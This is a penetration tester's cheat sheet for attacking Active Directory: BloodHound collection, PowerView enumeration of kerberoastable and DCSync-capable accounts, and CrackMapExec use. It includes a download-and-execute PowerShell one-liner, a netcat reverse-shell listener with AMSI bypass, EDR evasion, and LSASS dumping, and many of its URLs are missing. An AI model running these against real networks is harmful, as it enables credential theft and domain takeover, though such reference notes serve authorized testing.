Pentesting AD Mindmap

AD Labs


Game Of Active Directory

Bank Security Challenge

The Path to DA




curl -sSL | jq -r '.assets[].browser_download_url' | grep '' | wget -O '' -i -
unzip && rm
mv BloodHound-linux-x64 BloodHound && cd BloodHound
sudo chown root:root chrome-sandbox
sudo chmod 4755 chrome-sandbox
chmod +x BloodHound
sudo mkdir /usr/share/neo4j/logs/

mkdir -p ~/.config/bloodhound
curl -sSL > /tmp/customqueries1.json
curl -sSL > /tmp/customqueries2.json
curl -sSL > /tmp/customqueries3.json
curl -sSL > /tmp/customqueries4.json

python3 - << 'EOT'
import json
from pathlib import Path

merged, dups = {'queries': []}, set()
for jf in sorted((Path('/tmp')).glob('customqueries*.json')):
	with open(jf, 'r') as f:
		for query in json.load(f)['queries']:
			if 'queryList' in query.keys():
				qt = tuple(q['query'] for q in query['queryList'])
				if qt not in dups:

with open(Path.home() / '.config' / 'bloodhound' / 'customqueries.json', 'w') as f:
	json.dump(merged, f, indent=4)


rm /tmp/customqueries*.json
curl -sSL "" > ~/.config/bloodhound/config.json
sed -i 's/"password": "exegol4thewin"/"password": "WeaponizeK4li!"/g' ~/.config/bloodhound/config.json
custom queries, bloodhound-python support ???
curl -L | docker compose -f - up



PS > .\SharpHound.exe [-d megacorp.local] [--LdapUsername snovvcrash] [--LdapPassword 'Passw0rd!'] -c All,GPOLocalGroup [--Stealth] --CollectAllProperties --OutputDirectory C:\Windows\Temp --MemCache --ZipFileName [--RandomFilenames] [--Throttle 100] [--Jitter 20]
PS > .\SharpHound.exe -c SessionLoop --Loop --LoopInterval 00:01:00 --Loopduration 03:09:41



PS > Invoke-Bloodhound [-Domain megacorp.local] [-LdapUsername snovvcrash] [-LdapPassword 'Passw0rd!'] -CollectionMethod All,GPOLocalGroup [-Stealth] -CollectAllProperties -OutputDirectory C:\Windows\Temp -NoSaveCache -RandomizeFilenames -ZipFileName [-Throttle 100] [-Jitter 20]
PS > Invoke-Bloodhound -CollectionMethod SessionLoop -Loop -LoopInterval 00:01:00 -Loopduration 03:09:41

$ cd ~/ws/enum/bloodhound/
$ bloodhound-python -c All,LoggedOn --zip -u snovvcrash -p 'Passw0rd!' -d megacorp.local -ns
$ proxychains4 -q bloodhound-python -c All,LoggedOn --zip -u snovvcrash --hashes aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889 -d megacorp.local -ns -dc DC01.megacorp.local -gc DC01.megacorp.local --dns-tcp

Import with bloodhound-import:

$ bloodhound-import -du neo4j -dp 'Passw0rd!' 20190115133114*.json



Cypher (Neo4j)

Show percentage of collected user sessions:

# http://localhost:7474/browser/
MATCH (u1:User)
WITH COUNT(u1) AS totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
WITH totalUsers, COUNT(DISTINCT(u2)) AS usersWithSessions
RETURN totalUsers, usersWithSessions, 100 * usersWithSessions / totalUsers AS percetange

Show path to any computer from kerberoastable users:

MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Manual JSON Parsing

There're 2 global dicts in JSON files: data and meta. We care about data:

$ cat 19700101000000_users.json | jq '. | keys'

List all active user accounts:

$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true) | .samaccountname' -r

List non-empty user accounts' descriptions:

$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .description != null) | .name + " :: " + .description' -r

List user accounts whose passwords were set after their last logon (an effective list for password spraying assuming that the passwords were set by IT Desk and may be guessable):

$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .pwdlastset > .lastlogontimestamp) | .name + " :: " + (.lastlogontimestamp | tostring)' -r

List user accounts with DoesNotRequirePreAuth set (aka asreproastable):

$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .dontreqpreauth == true) | .name' -r

List user accounts with SPN(s) set (aka kerberoastable)

$ cat 19700101000000_users.json | jq '.data[].Properties | select(.enabled == true and .serviceprincipalnames != []) | .name + " :: " + (.serviceprincipalnames | join(","))' -r

List computer accounts' operating system names:

$ cat 19700101000000_computers.json | jq '.data[].Properties | .name + " :: " + .operatingsystem' -r

Recursively list all members of a group (mimics RSAT Get-ADGroupMember, script):

$ ls
20220604043009_computers.json  20220604043009_groups.json  20220604043009_users.json

Recursively list all groups which the user is a member of (mimics RSAT Get-ADUser | select memberof, script):

$ ls
20220604043009_groups.json  20220604043009_users.json

Generate a .csv file containing AD trusts mapping to be used in TrustVisualizer (mimics PowerView Get-DomainTrustMapping, script):

$ ls
$ python3

PowerView / SharpView

Example Queries


Convert SID to name and vice versa:

PV3 > ConvertTo-SID <NAME>
PV3 > Convert-NameToSid <NAME>
PV3 > ConvertFrom-SID <SID>
PV3 > Convert-SidToName <SID>

Extract all domain user accounts into a .csv file:

PV3 > Get-DomainUser -Domain megacorp.local | select name,samAccountName,description,memberOf,whenCreated,pwdLastSet,lastLogonTimestamp,accountExpires,adminCount,userPrincipalName,servicePrincipalName,mail,userAccountControl | Export-Csv .\all-users.csv -NoTypeInformation

List domain user accounts that do not require Kerberos pre-authentication (see ASREPRoasting):

PS > .\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired -Properties samAccountName,userAccountControl,memberOf

List domain user accounts with Service Principal Names (SPNs) set (see Kerberoasting):

PS > .\SharpView.exe Get-DomainUser -SPN -Properties samAccountName,memberOf,servicePrincipalName

List domain user accounts with Kerberos unconstrained delegation enabled:

PS > .\SharpView.exe Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"

List domain user accounts with Kerberos constrained delegation enabled:

PS > .\SharpView.exe Get-DomainUser -TrustedToAuth -Properties samAccountName,userAccountControl,memberOf

Search for domain user accounts which may have sensitive stored in the description field:

PV3 > Get-DomainUser -Properties samaccountname,description | Where {$_.description -ne $null}

Search for domain user by email:

PV3 > Get-DomainUser -LDAPFilter '(' -Properties samaccountname

Find users with DCSync right:

PV3 > $dcsync = Get-DomainObjectACL "DC=megacorp,DC=local" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll" -or $_.ObjectAceType -match "Replication-Get"} | select -ExpandProperty SecurityIdentifier | select -ExpandProperty value
PV3 > Convert-SidToName $dcsync


Enumerate domain computers where specific users (Identity) are members of a specific local group (LocalGroup):

PV3 > Get-DomainGPOUserLocalGroupMapping -Identity snovvcrash -LocalGroup Administrators


Extract all domain computer accounts into a .csv file:

PV3 > Get-DomainComputer -Properties dnsHostName,operatingSystem,lastLogonTimestamp,userAccountControl | Export-Csv .\all-computers.csv -NoTypeInformation

List domain computer accounts that allow Kerberos unconstrained delegation:

PS > .\SharpView.exe Get-DomainComputer -Unconstrained -Properties dnsHostName,userAccountControl

Resolve all domain computer IPs by their names:

PV3 > Get-DomainComputer -Properties name | Resolve-IPAddress

List domain computers that are part of a OU:

PV3 > Get-DomainComputer | ? { $_.DistinguishedName -match "OU=<OU_NAME>" } | select dnsHostName


List shares for WS01 computer:

PS > .\SharpView.exe Get-NetShare -ComputerName WS01


List all domain users with a 4-digit RID (eliminates default objects like 516, 519, etc.) who can edit GPOs:

PV3 > Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match "<SID>-[\d]{4,10}" } | select objectDN, activeDirectoryRights, securityIdentifier | fl

Resolve GPO ObjectDN:

PV3 > Get-DomainGPO -Name "<DN>" -Properties DisplayName



$ pipx install -f "git+"
$ pipx install -f "git+"

Static Binaries

Build Examples

Cmd > python.exe -V
Python 3.11.7
Cmd > python.exe -m pip install nuitka
Cmd > python.exe -m nuitka C:\Repos\impacket\examples\ --onefile --onefile-tempdir-spec=C:\Users\user\AppData\Local\Temp\hello --follow-imports --output-filename=hello --jobs=16
Cmd > hello.exe --help

{Crack,Sharp,Ps}MapExec / NetExec

Install bleeding-edge:

$ sudo apt install python3-venv && pip3 install pipx
$ pipx install -f "git+"
$ cme

aardwolf requires Rust compiler to be also installed:

$ sudo snap install rustup --classic
$ rustup toolchain install stable

Install for debugging and development:

$ git clone --recursive ~/tools/CrackMapExec && cd ~/tools/CrackMapExec
$ poetry install
$ poetry run crackmapexec

Execute a PowerShell command using base64 encoding on-the-fly:

$ cme smb -u snovvcrash -p 'Passw0rd!' -x "powershell -enc `echo -n 'iex(new-object net.webclient).downloadstring("");iex(new-object net.webclient).downloadstring("")' | iconv -t UTF-16LE | base64 -w0`"

Bypass network IPS restrictions:

$ sudo nmap -n -sn | grep for | awk '{print $5}' > 192.168.1
$ for ip in `cat 192.168.1`; do cme smb $ip; sleep 1; done
$ cme -t 1 --jitter 1 smb

Custom Switches

Bypass execution restrictions of EDRs monitoring for WmiPrvSE.exe misbehavior with custom switches (see dotnetassembly branch).

Get the dependencies and stuff:

$ sudo apt install mono-devel
$ git clone --single-branch -b syscalls ~/tools/donut && cd ~/tools/donut && make && sudo ln -sv `realpath donut` /usr/local/bin/donut && cd -
$ wget -O ~/.cme/donut_template.cs
$ wget -O ~/.local/pipx/venvs/crackmapexec/lib/python3.10/site-packages/cme/protocols/

Example of invoking a PowerShell module (ConPtyShell):

$ stty raw -echo; (stty size; cat) | nc -lvnp 1337
$ cme smb -u snovvcrash -p 'Passw0rd!' -x 'Invoke-ConPtyShell.ps1 Invoke-ConPtyShell 1337' --amsi-bypass amsi.ps1 --no-output

Example of executing a .NET assembly (Rubeus):

$ cme smb -u snovvcrash -p 'Passw0rd!' -x 'Seatbelt.exe -group=user' --dotnetassembly --dotnetassembly-entrypoint 'Rubeus,Program,MainString' --dotnetassembly-entrypoint-argtype string --amsi-bypass amsi.ps1 --codec cp866

Example of converting an unmanaged binary (NanoDump) to a shellcode with donut, then compiling a .NET self-injector from a template with the shellcode inside and executing it (see SharpBin2SelfInject):

$ cme smb -u snovvcrash -p 'Passw0rd!' -x 'nanodump.exe -w C:\Windows\Temp\lsass.bin' --dotnetassembly --donut

Slinky Cat & OffensiveSysAdmin


Common vulnerabilities & misconfigurations and recommendations:

SMB lateral-movement hardening:

Antispam protection for Exchange:

Detect stale, unused or fake computer accounts based on password age (replace -90 with your domain's maximum computer account password age):

$date = [DateTime]::Today.AddDays(-90); Get-ADComputer -Filter '(Enabled -eq $true) -and (PasswordLastSet -le $date)' | select Name

Administrative Tier Model & Microsoft RaMP (Zero Trust Rapid Modernization Plan):

Post compromise AD actions (checklist):

Hardening automatization tool:

Last updated